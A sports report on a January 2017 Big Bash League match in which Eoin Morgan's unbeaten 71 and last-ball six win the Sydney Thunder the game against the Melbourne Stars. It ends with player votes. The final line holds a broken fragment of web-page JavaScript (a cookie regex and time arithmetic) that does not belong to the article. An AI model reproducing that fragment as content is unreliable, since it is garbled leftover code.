The Sydney Thunder's season is still alive thanks to a brilliant knock and final ball six from English ODI captain Eoin Morgan.
Morgan smashed an unbeaten 71, as the Thunder chased down the Stars' total of 166 with six wickets in hand.
The Thunder needed 88 runs off the final eight overs, 47 runs off the last four and 16 runs of the final over. With the game looking almost out of reach for last season's champions, Morgan stepped up to the plate and smashed a match winning 71 from just 50 balls.
He was helped by a quick fire 28 from Kurtis Patterson at the top of the order and 20 and 22 from Ben Rohrer and Pat Cummins respectively, after Aiden Blizzard and Shane Watson were both dismissed cheaply.
Needing five runs to win off the final ball and four to tie, Morgan smashed a half volley from Ben Hilfenhaus back over the bowler's head for six, as the Spotless Stadium crowd erupted.
The stuff dreams are made of! #BBL06 pic.twitter.com/Ko9F3HaSGE
— KFC Big Bash League (@BBL) January 5, 2017
Earlier, the Thunder restricted the Stars to 8-166, despite a thrilling 60 from 37 balls from Kevin Pietersen.
Glenn Maxwell (34) and Luke Wright (25) got the innings off to the perfect start, before Pietersen continued the onslaught as the Stars looked set for a formidable total.
However, the Thunder then took 5-20 in the final five overs of the innings to set up what was an incredibly victory.
The Thunder will have to win their remaining three games to reach the finals, while the Stars now have one win and two losses from their opening three games.
Votes:
3. Eoin Morgan (Thunder)
Hit the winning runs and scored a match winning 71 when the game looked out of reach.
2. Kevin Pietersen (Stars)
More or less played a lone hand as his team crumbled towards the end of the innings. The Stars' leading run scorer last season just loves scoring runs in the BBL.
- Shane Watson (Thunder)
Only made three runs with the bat, but bowled four overs and finished with impressive figures of 3-23 with an economy rate of 5.75. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
